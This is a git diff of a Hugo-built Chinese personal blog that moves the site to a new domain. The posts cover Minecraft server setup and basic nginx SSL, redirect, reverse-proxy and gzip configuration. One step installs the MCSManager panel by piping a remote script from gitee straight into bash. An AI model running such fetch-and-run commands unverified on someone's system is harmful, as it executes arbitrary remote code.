screen # 安装screen</p><p>screen -S mcserver # 创建一个新“终端”，名称自定义</p><p>screen -R mcserver # 进入这个新“终端”</p><p>如果想退出，可以使用ctrl+a+d</p><p>可以使用screen -ls 命令来查看所有“终端”</p><p>关闭正版验证</p><p>在服务端目录，找到server.properties文件</p><p>修改这个文件，把onlinemode 改为 false</p><hr><p>MCSManager面板</p><p>wget -qO- <a href=https://gitee.com/mcsmanager/script/raw/master/setup.sh>https://gitee.com/mcsmanager/script/raw/master/setup.sh</a> | bash</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/server/>server</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/34/><span class=title>« Prev</span><br><span>Nginx服务器的一些简单配置</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/31/><span class=title>Next »</span><br><span>node.js包管理工具npm的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/34/index.html b/posts/34/index.html
index b5b4fb55..98aab6f1 100644
--- a/posts/34/index.html
+++ b/posts/34/index.html
@@ -4,64 +4,64 @@
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &ldquo;crt证书的绝对路径&rdquo;; ssl_certificate_key&#34;key证书的绝对路径&#34;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
-gzip on // gzip开启，关闭是off"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/34/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Nginx服务器的一些简单配置"><meta property="og:description" content="配置ssl证书
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/34/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Nginx服务器的一些简单配置"><meta property="og:description" content="配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &ldquo;crt证书的绝对路径&rdquo;; ssl_certificate_key&#34;key证书的绝对路径&#34;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
-gzip on // gzip开启，关闭是off"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/34/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:52:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nginx服务器的一些简单配置"><meta name=twitter:description content="配置ssl证书
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/34/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:52:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nginx服务器的一些简单配置"><meta name=twitter:description content="配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate &ldquo;crt证书的绝对路径&rdquo;; ssl_certificate_key&#34;key证书的绝对路径&#34;;
 如果想访问网站就301重定向到https，那么添加这几行
-server{
listen 80;
server_name xiaochenabc123.test.com;
rewrite ^(.*) https://$host$1 permanent;
}
# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
proxy_connect_timeout 200; # 设置连接超时
proxy_read_timeout 200; # 设置读响应超时
}
重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
gzip_comp_level 1; gzip_min_length 10;
gzip_http_version 1.1;
gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
解释：
-gzip on // gzip开启，关闭是off"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Nginx服务器的一些简单配置","item":"https://xiaochenabc123.github.io/posts/34/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Nginx服务器的一些简单配置","name":"Nginx服务器的一些简单配置","description":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{\rlisten 80;\rserver_name xiaochenabc123.test.com;\rrewrite ^(.*) https://$host$1 permanent;\r}\r# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / {\rproxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址\rproxy_connect_timeout 200; # 设置连接超时\rproxy_read_timeout 200; # 设置读响应超时\r}\r重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on;\rgzip_comp_level 1; gzip_min_length 10;\rgzip_http_version 1.1;\rgzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;\r解释：\ngzip on // gzip开启，关闭是off","keywords":["server"],"articleBody":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate “crt证书的绝对路径”; ssl_certificate_key\"key证书的绝对路径\";\n如果想访问网站就301重定向到https，那么添加这几行\nserver{\rlisten 80;\rserver_name xiaochenabc123.test.com;\rrewrite ^(.*) https://$host$1 permanent;\r}\r# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / {\rproxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址\rproxy_connect_timeout 200; # 设置连接超时\rproxy_read_timeout 200; # 设置读响应超时\r}\r重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on;\rgzip_comp_level 1; gzip_min_length 10;\rgzip_http_version 1.1;\rgzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;\r解释：\ngzip on // gzip开启，关闭是off\ngzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认\ngzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1\ngzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩\ngzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用\ngzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩\n","wordCount":"92","inLanguage":"en","datePublished":"2021-06-16T15:52:00Z","dateModified":"2021-06-16T15:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/34/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Nginx服务器的一些简单配置</h1><div class=post-meta><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Nginx%e6%9c%8d%e5%8a%a1%e5%99%a8%e7%9a%84%e4%b8%80%e4%ba%9b%e7%ae%80%e5%8d%95%e9%85%8d%e7%bd%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>配置ssl证书</p><p>前提是已经申请到ssl证书,并且开放443端口</p><p>编辑nginx.conf</p><p>将443那几行的注释去掉（#）,并且修改</p><p>ssl_certificate &ldquo;crt证书的绝对路径&rdquo;;
-ssl_certificate_key"key证书的绝对路径";</p><p>如果想访问网站就301重定向到https，那么添加这几行</p><pre><code>server{
-    listen 80;
-    server_name xiaochenabc123.test.com;
-    rewrite ^(.*) https://$host$1 permanent;
-}
-</code></pre><p># 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果</p><p>然后刷新一下配置nginx -s</p><hr><p>nginx反向代理配置</p><p>将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果</p><p>配置nginx.conf</p><pre><code>location / {
-    proxy_pass https://test.xiaochenabc123.test.com;   # 反向代理服务器地址
-    proxy_connect_timeout 200;  # 设置连接超时
-    proxy_read_timeout 200;  #  设置读响应超时
-}
-</code></pre><p>重启Nginx服务：service nginx restart</p><p>请求当前服务器时，当前服务器将请求转发给地址为 <a href=https://test.xiaochenabc123.test.com>https://test.xiaochenabc123.test.com</a> 的服务器处理</p><hr><p>gzip压缩</p><pre><code>gzip on;
-gzip_comp_level 1; 
-gzip_min_length 10;
-gzip_http_version 1.1;
-gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
-</code></pre><p>解释：</p><p>gzip on // gzip开启，关闭是off</p><p>gzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认</p><p>gzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1</p><p>gzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩</p><p>gzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用</p><p>gzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/server/>server</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/35/><span class=title>« Prev</span><br><span>wsl2-windows子系统简单配置</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/33/><span class=title>Next »</span><br><span>Linux环境下简单搭建Minecraft服务器（java版）</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Nginx服务器的一些简单配置","item":"https://chenjunlinabc.github.io/posts/34/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Nginx服务器的一些简单配置","name":"Nginx服务器的一些简单配置","description":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate \u0026ldquo;crt证书的绝对路径\u0026rdquo;; ssl_certificate_key\u0026quot;key证书的绝对路径\u0026quot;;\n如果想访问网站就301重定向到https，那么添加这几行\nserver{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：\ngzip on // gzip开启，关闭是off","keywords":["server"],"articleBody":"配置ssl证书\n前提是已经申请到ssl证书,并且开放443端口\n编辑nginx.conf\n将443那几行的注释去掉（#）,并且修改\nssl_certificate “crt证书的绝对路径”; ssl_certificate_key\"key证书的绝对路径\";\n如果想访问网站就301重定向到https，那么添加这几行\nserver{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果\n然后刷新一下配置nginx -s\nnginx反向代理配置\n将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果\n配置nginx.conf\nlocation / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart\n请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理\ngzip压缩\ngzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：\ngzip on // gzip开启，关闭是off\ngzip_buffers 16 8k // 设置处理请求压缩的缓冲区数量和大小，一般不会设置，默认\ngzip_comp_level 1 // 设置压缩比，数值1至9，压缩文件越小越吃CPU，最性价比的是1\ngzip_min_length 10 // 当文件超过这个值才启用压缩，单位k，值为0时表示全站压缩\ngzip_http_version 1.1 // 这个1.1是指http版本，只有http/1.1以上才启用gzip，例如http/1.0就不启用\ngzip_types text/html // 指定要压缩的MIME类型，请求不在这个指定内范围的文件不进行压缩\n","wordCount":"92","inLanguage":"en","datePublished":"2021-06-16T15:52:00Z","dateModified":"2021-06-16T15:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/34/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a 